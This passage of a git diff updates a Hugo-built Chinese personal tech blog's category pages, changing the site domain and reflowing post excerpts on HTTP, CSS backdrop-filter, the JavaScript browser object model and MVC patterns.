0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单认识HTTP协议</h2></header><div class=entry-content><p>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单认识HTTP协议</h2></header><div class=entry-content><p>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
 HTTP是基于TCP/IP协议来传输数据的
 访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应
 浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL
@@ -56,73 +56,28 @@
 前端中的HTTP
 先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）
 http常见状态码
-1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误...</p></div><footer class=entry-footer><span title='2021-08-08 17:02:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单认识HTTP协议" href=https://xiaochenabc123.github.io/posts/77/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单利用backdrop-filter属性实现效果</h2></header><div class=entry-content><p>backdrop-filter是css原生的属性
+1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误...</p></div><footer class=entry-footer><span title='2021-08-08 17:02:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单认识HTTP协议" href=https://chenjunlinabc.github.io/posts/77/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单利用backdrop-filter属性实现效果</h2></header><div class=entry-content><p>backdrop-filter是css原生的属性
 backdrop-filter的一些方法（用法和filter一样）
 blur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色
 简单实现一个毛玻璃背景效果，例如：
-&lt;style>
-*{
-margin: 0;
-padding: 0;
-}
-#app{
-width: 100%;
-height: 50rem;
-background-image: url("1.jpg");
-}
-#test{
-position: absolute;
-top: 0;
-left: 0;
-right: 0;
-bottom: 0;
-backdrop-filter: blur(10px);
-}
-.text{
-padding-top: 100px;
-text-align: center;
-}
-&lt;/style>
-&lt;div id="app">
-&lt;div id="test">
-&lt;p class="text">
-hallo word
-&lt;/p>
-&lt;/div>
-&lt;/div>
-backdrop-filter和filter区别：
+&lt;style> *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url("1.jpg"); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } &lt;/style> &lt;div id="app"> &lt;div id="test"> &lt;p class="text"> hallo word &lt;/p> &lt;/div> &lt;/div> backdrop-filter和filter区别：
 filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性
 backdrop-filter是作用于当前元素背后的所有元素，不会影响自己
-backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</p></div><footer class=entry-footer><span title='2021-08-06 10:18:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用backdrop-filter属性实现效果" href=https://xiaochenabc123.github.io/posts/65/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>JavaScript知识扩展</h2></header><div class=entry-content><p>函数被调用时，浏览器会传递两个参数，this和arguments
+backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</p></div><footer class=entry-footer><span title='2021-08-06 10:18:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用backdrop-filter属性实现效果" href=https://chenjunlinabc.github.io/posts/65/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>JavaScript知识扩展</h2></header><div class=entry-content><p>函数被调用时，浏览器会传递两个参数，this和arguments
 this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存
 callee属性对应着当前的函数
 例如：
-function abc(){
-console.log(arguments.length);
-console.log(arguments[0]);
-console.log(arguments.callee);
-console.log(this)
-}
-abc('hallo');
-BOM对象 (Browser Object Model) 是指浏览器对象模型
+function abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc('hallo'); BOM对象 (Browser Object Model) 是指浏览器对象模型
 该对象提供了浏览器行为和浏览器属性方法
 windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性
 navigator包含了当前浏览器的全部信息
-console.log(window.navigator)
-可以看到输出了很多属性，如userAgent，language等等
+console.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等
 location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：
-console.log(window.location)
-const urlData = "https://xiaochenabc123.test.com/;
-window.location.href = urlData;
-这个也可以实现跳转
-window.location.assign("https://xiaochenabc123.test.com")
-这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
-window.location.replace("https://xiaochenabc123.test.com")
-reload方法可以重载页面，加上true参数将强制更新
-window.location.reload(true)
-history表示浏览器的历史记录
-console.log(window.history)
-length表示本次访问网站的数量
+console.log(window.location) const urlData = "https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转
+window.location.assign("https://xiaochenabc123.test.com") 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
+window.location.replace("https://xiaochenabc123.test.com") reload方法可以重载页面，加上true参数将强制更新
+window.location.reload(true) history表示浏览器的历史记录
+console.log(window.history) length表示本次访问网站的数量
 同时也提供了几个方法
 back()返回上个页面
 window.history.back()
@@ -132,8 +87,7 @@
 go()，前进或者后退指定次数，正数为前进，负数为后退
 window.history.go(-1)
 screen代表用户的屏幕的信息, 获取显示器的相关信息
-console.log(window.screen)
-call 和 apply
+console.log(window.screen) call 和 apply
 addEventListen()绑定事件函数
 removeEventListen()移除事件函数
 鼠标按下时onmousedown
@@ -144,13 +98,13 @@
 document.execCommand可以操作剪贴板
 document.execCommand(‘copy’) // 复制
 document.execCommand(‘cut’) // 剪切
-document.execCommand(‘paste’) // 粘贴...</p></div><footer class=entry-footer><span title='2021-07-18 22:35:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript知识扩展" href=https://xiaochenabc123.github.io/posts/61/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解MVC，MVP和MVVM之间的不同与联系</h2></header><div class=entry-content><p>MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
+document.execCommand(‘paste’) // 粘贴...</p></div><footer class=entry-footer><span title='2021-07-18 22:35:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript知识扩展" href=https://chenjunlinabc.github.io/posts/61/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解MVC，MVP和MVVM之间的不同与联系</h2></header><div class=entry-content><p>MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
 视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的
 也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图
 MVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）
 各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理
 MVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中
-在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode</p></div><footer class=entry-footer><span title='2021-07-09 22:50:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解MVC，MVP和MVVM之间的不同与联系" href=https://xiaochenabc123.github.io/posts/56/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>css的一些知识扩展</h2></header><div class=entry-content><p>box-sizing 盒类型
+在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode</p></div><footer class=entry-footer><span title='2021-07-09 22:50:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解MVC，MVP和MVVM之间的不同与联系" href=https://chenjunlinabc.github.io/posts/56/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>css的一些知识扩展</h2></header><div class=entry-content><p>box-sizing 盒类型
 该属性是告诉浏览器是以什么盒模型展示的
 IE用的是border-box
 计算方式是外边距+内边距+内容=宽度（高度）
@@ -186,8 +140,8 @@
 all为横跨所有列
 media 媒体查询
 媒体查询常用于响应式布局，为不同屏幕设置不同的样式
-@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置...</p></div><footer class=entry-footer><span title='2021-06-23 09:16:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css的一些知识扩展" href=https://xiaochenabc123.github.io/posts/44/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/4/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/6/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置...</p></div><footer class=entry-footer><span title='2021-06-23 09:16:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css的一些知识扩展" href=https://chenjunlinabc.github.io/posts/44/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/4/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/6/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\346\212\200\346\234\257/page/6/index.html" "b/categories/\346\212\200\346\234\257/page/6/index.html"
index f8cdb2a5..642124bf 100644
--- "a/categories/\346\212\200\346\234\257/page/6/index.html"
+++ "b/categories/\346\212\200\346\234\257/page/6/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Yarn包管理工具的简单使用</h2></header><div class=entry-content><p>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta 